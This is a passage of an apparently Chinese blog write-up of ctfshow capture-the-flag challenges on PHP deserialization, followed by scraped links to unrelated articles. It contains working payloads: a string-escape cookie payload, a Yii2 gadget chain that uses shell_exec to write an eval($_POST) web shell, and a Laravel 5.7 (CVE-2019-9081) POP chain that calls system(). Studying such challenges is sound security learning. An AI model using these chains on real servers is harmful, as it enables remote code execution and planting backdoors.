# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

先分析第一段代码有字符串逃逸,字符串减少逃逸,将两段代码结合起来进行代码审计,关于这里的setcookie就是与message.php中的代码进行前呼后应,就是它传进去它传出来,在这里第一段代码进行base64加密,第二段代码进行base64解密,所以这几个函数不用去考虑,直接考虑字符串逃逸就可以了,在这里它要求token等于admin,但第一段代码显示token等于user,那么这时候就要构造

";s:5:"token";s:5:"admin";}

一共27个字符,而fuck去替换loveU,每一个只能少一个字符,所以需要27个fuck,这样可以进行逃逸成功

最终payload

get:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

源码如下

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}

这道题就是&的运用,如何运用可以看看我上面写的

这道题就是要求让变量token的值等于password的值,而token的值是一共随机数,所以它是会变的,所以我们需要让他们两个指向同一个地址,具体脚本如下

<?phpclass ctfshowAdmin{public $token;public $password;function __construct(){$this->password = &$this->token;}
}echo serialize(new ctfshowAdmin());?>

根据这两道题我们可以看出来这种运用方式,都需要__construct()这个魔法函数;

web266

先看源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/highlight_file(__FILE__);include('flag.php');
$cs = file_get_contents('php://input');class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}

看到throw new Exception()这个东西就应该想到垃圾回收机制,但这里其实不需要这个也能去触发__destruct()这个魔法函数,因为这里可以通过正则进行绕过,只要绕过正则就可以绕过垃圾回收机制了;

先讲简单的绕过正则吧

先说一下php有以下特性

变量名区分大小写
常量名区分大小写
数组索引 (键名) 区分大小写
函数名, 方法名, 类名不区分大小写
魔术常量不区分大小写 (以双下划线开头和结尾的常量)
NULL TRUE FALSE 不区分大小写
强制类型转换不区分大小写 (在变量前面加上 (type))

也就是说这里可以通过大小写进行绕过

payload

POST
O:7:"CTFSHOW":0:{}

这里也要注意一下这里的传参方式,这里就是一个php://input的伪协议,就是POST直接传参就可以执行命令;如果不懂可以看我之前的文件包含这篇博客,也可以学到一些新的知识

以题为例浅谈文件包含-CSDN博客

接下来就是介绍如何用垃圾回收机制进行做这道题

代码如下

<?phpclass ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __destruct(){global $flag;echo $flag;}}
echo serialize(new ctfshow());

运行后可以得到

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

修改后就是payload了

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:0:"password";s:6:"xxxxxx";}

就可以绕过垃圾回收机制让它__destruct()这个魔法函数触发;

web267

在上面已经写过了,就不在多说了;

web268

和上面步骤一样,不过过滤了一些东西,把GET改成POST就行了

脚本如下

<?php
namespace yii\rest {class Action{public $checkAccess;}class IndexAction{public function __construct($func, $param){$this->checkAccess = $func;$this->id = $param;}}
}
namespace yii\web {abstract class MultiFieldSession{public $writeCallback;}class DbSession extends MultiFieldSession{public function __construct($func, $param){$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];}}
}
namespace yii\db {use yii\base\BaseObject;class BatchQueryResult{private $_dataReader;public function __construct($func, $param){$this->_dataReader = new \yii\web\DbSession($func, $param);}}
}
namespace {$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > shell.php");echo(base64_encode(serialize($exp)));
}

payload

/index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo1MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fQ==

然后访问shell.php,与上一道题差不多,只是上一道题是GET传参,这道题是POST传参;

web269,270

和web268步骤相同;

web271

查看源码

 <?php/*** Laravel - A PHP Framework For Web Artisans** @package  Laravel* @author   Taylor Otwell <taylor@laravel.com>*/define('LARAVEL_START', microtime(true));/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/require __DIR__ . '/../vendor/autoload.php';/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/$app = require_once __DIR__ . '/../bootstrap/app.php';/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle($request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);$kernel->terminate($request, $response);

Laravel5.7(CVE-2019-9081)反序列化漏洞

直接利用上面的脚本

<?phpnamespace Illuminate\Foundation\Testing {class PendingCommand{public $test;protected $app;protected $command;protected $parameters;public function __construct($test, $app, $command, $parameters){$this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser$this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application$this->command = $command;           //要执行的php函数 system$this->parameters = $parameters;     //要执行的php函数的参数  array('id')}}
}namespace Faker {class DefaultGenerator{protected $default;public function __construct($default = null){$this->default = $default;}}
}namespace Illuminate\Foundation {class Application{protected $instances = [];public function __construct($instances = []){$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;}}
}namespace {$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));$app = new Illuminate\Foundation\Application();$application = new Illuminate\Foundation\Application($app);$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令echo urlencode(serialize($pendingcommand));
}

运行得到flag

之后还会对反序列化这一系列进行补充。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148964.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

三菱FX5U CPU模块的初始化“(格式化PLC)”

1、连接FX5U PLC 1、使用以太网电缆连接计算机与CPU模块。 2、从工程工具的菜单选择[在线]中[当前连接目标]。 3、在“简易连接目标设置 Connection”画面中&#xff0c;在与CPU模块的直接连接方法中选择[以太网]。点击[通信测试]按钮&#xff0c;确认能否与CPU模块连接。 FX5…

黑马头条day3-2 自媒体文章管理

前边还有一个 素材列表查询 没什么难度 就略过了 查询所有频道和查询自媒体文章也是和素材列表查询类似 就是普通的查询 所以略过了 文章发布 这个其实挺复杂的 一共三张表 一个文章表 一个素材表 一个文章和素材的关联表 区分修改与新增就是看是否存在id 如果是保存草稿…

数据结构和算法之树形结构(3)

文章出处&#xff1a;数据结构和算法之树形结构(3) 关注码农爱刷题&#xff0c;看更多技术文章&#xff01;&#xff01; 四、平衡二叉树(接前篇) 上一章节讲到为了避免二叉查找树退化成链表后的极度不平衡带来的低效率而衍生出了平衡二叉树&#xff0c;平衡二叉树的严格定义…

力扣上刷题之C语言实现-Days1

一. 简介 本文记录一下力扣的逻辑题。主要是数组方面的&#xff0c;使用 C语言实现。 二. 涉及数组的 C语言逻辑题 1. 两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target的那 两个 整数&#xff0c;并返回它们的…

vmware 虚拟机多屏幕或添加屏幕

vmware 虚拟机多屏幕或添加屏幕 前置条件 vmware 安装 vmware tools 虚拟机系统支持多屏幕 物理上有至少两个屏幕&#xff0c;就是物理机上接至少一个屏幕 方法 虚拟机上点设置&#xff0c;需要在虚拟机关机时进行 ctrl alt enter 让当前虚拟机全屏 鼠标移动到屏幕虚拟机…

双路创新深度学习!TCN-Transformer+LSTM多变量时间序列预测(Matlab)

双路创新深度学习&#xff01;TCN-TransformerLSTM多变量时间序列预测&#xff08;Matlab&#xff09; 目录 双路创新深度学习&#xff01;TCN-TransformerLSTM多变量时间序列预测&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab…

Vue使用Vue Router路由:通过URL传递与获取参数

Vue Router 路由实际上就是一种映射关系。例如&#xff0c;多个选项卡之间的切换就可以使用路由功能来实现。在切换时&#xff0c;根据鼠标的点击事件显示不同的页面内容&#xff0c;这相当于事件和事件处理程序之间的映射关系。在实际的开发中&#xff0c;经常需要通过URL来传…

Invalid Executable The executable contains bitcode

Invalid Executable The executable contains bitcode xcode世界xcode16后&#xff0c;打包上传testflight时三方库报错&#xff1a;Invalid Executable - The executable ***.app/Frameworks/xxx.framework/xxx contains bitcode. 解决方案&#xff1a; 执行一下指令删除该f…

JavaScript中Windows对象下的属性和方法

1.Windows对象概念 所有的浏览器都支持Windows对象。它表示浏览器窗口 2.Boom概念 Boom&#xff1a;是指浏览器对象模型&#xff0c;它使javaScript有能力与浏览器进行对话 3.DOM概念 DOM&#xff1a;是指文档对象模型&#xff0c;通过它可以访问HTML文档中的所有元素 HT…

导入时,Excel模板不被下载

问题描述 提示&#xff1a;这里描述项目中遇到的问题&#xff1a; 这是个SSM项目&#xff0c;以前经常遇到这个问题&#xff0c;今天有幸记录下来 [ERROR][o.a.s.r.StreamResult] Can not find a java.io.InputStream with the name [downLoadFile] in the invocation stack…

多数元素-简单

169. 多数元素 - 力扣&#xff08;LeetCode&#xff09; 【LeetCode 每日一题】169. 多数元素 | 手写图解版思路 代码讲解_哔哩哔哩_bilibili c为计数器&#xff0c;代表当前候选人的票数 v为当前候选人 x为遍历的各候选人得票 分三种情况&#xff1a; 第一种&#xff0c;c…

MFC - 复杂控件_1

前言 各位师傅大家好&#xff0c;我是qmx_07&#xff0c;今天给大家讲解复杂控件的相关知识点 复杂控件 进度条 绘图准备: 调整windows窗口大小、设置 Progress Control 进度条设置Button 按钮 添加进度条变量 m_Progress,通过按钮触发 void CMFCApplication2Dlg::OnBnCl…

C++ set 和 map学习

一、set(multiset)的基本知识和使用 set也是一种我们直接可以使用的容器&#xff0c;使用应该包含 #include <set> 这个头文件。此处暂且不讨论其底层&#xff0c;只探讨set如何使用即可。 我们看到&#xff0c;set 的模板参数有三个&#xff0c;第一个就是其存储的数据…

【操作系统强化】王道强化一轮笔记

第一章 计算机系统概述 考点1 操作系统的概念、特征和功能 1. 2. 考点2 内核态与用户态 1. 2.用户态和内核态之间的切换本质上就是应用程序和操作系统对CPU控制器的切换 考点3 中断和异常 1. 2. 考点4 系统调用 1. 2. 3.C 考点5 操作系统引导 1. 2. ①磁盘的物理格式化&…

ERNIESpeed-128K在线智能聊天机器人项目(附源码)

本项目是基于百度千帆的智能聊天模型ERNIESpeed-128K开发的 一、技术栈 后端&#xff1a;java8springboot2.6.13 数据库&#xff1a;MongoDB 前端&#xff1a;vue2element-uimarked&#xff08;md格式&#xff09; 二、MongoDB与对话存储的设计 使用MongoDB来储存对话&am…

戎易大数据 | 数据分析实操篇:基于MySQL和Tableau的淘宝用户购物行为数据分析

本文来源公众号“戎易大数据”&#xff0c;仅用于学术分享&#xff0c;侵权删&#xff0c;干货满满。 原文链接&#xff1a;数据分析实操篇&#xff1a;基于MySQL和Tableau的淘宝用户购物行为数据分析 1项目介绍 为提高平台GMV和实现精细化运营&#xff0c;本项目首先使用My…

领夹麦克风哪个品牌好,无线领夹麦克风品牌排名,麦克风品牌大全

无线领夹麦克风因其便携性和隐蔽性&#xff0c;越来越受到演讲者和表演者的青睐。但是&#xff0c;随着市场上品牌和型号的增多&#xff0c;质量也变得参差不齐。许多用户在选购时&#xff0c;会因为缺乏了解而选择到性能不佳的产品&#xff0c;影响声音的清晰度和稳定性。下面…

预计2030年全球半导体用超高纯氢气市场规模将达到2.5亿美元

超高纯度氢气是半导体制造行业使用的关键气体&#xff0c;其纯度通常为 99.999% (5N) 或更高。这种纯度水平对于避免引入可能损害半导体器件性能和可靠性的杂质至关重要。在半导体生产中&#xff0c;超高纯度氢气用于化学气相沉积 (CVD)、外延生长、退火和表面清洁等关键工艺。…

java基础(2)方法的使用

目录 1.前言 2.正文 2.1方法的定义 2.2方法的调用过程 2.3方法的实参与形参 2.3.1形参 2.3.2实参 2.3.3参数传递 2.4方法的重载 3.小结 1.前言 哈喽大家好啊&#xff0c;今天博主继续带领大家学习java的基本语法&#xff0c;java的基础语法部分打算用六到七篇博文完…

Undet for sketchup 2023.3注册机 支持草图大师sketchup2021-2022-2023

1.Undet for sketchup 2023.3支持草图大师sketchup2021-2022-2023。支持机载雷达扫描、车载扫描还是地面扫描&#xff0c;对AEC行业用户来说&#xff0c;真正需要的是如何将这些数据快速处理为三维模型&#xff0c;这样才能将这些信息延展到BIM领域发挥效用。因此面对这些海量的…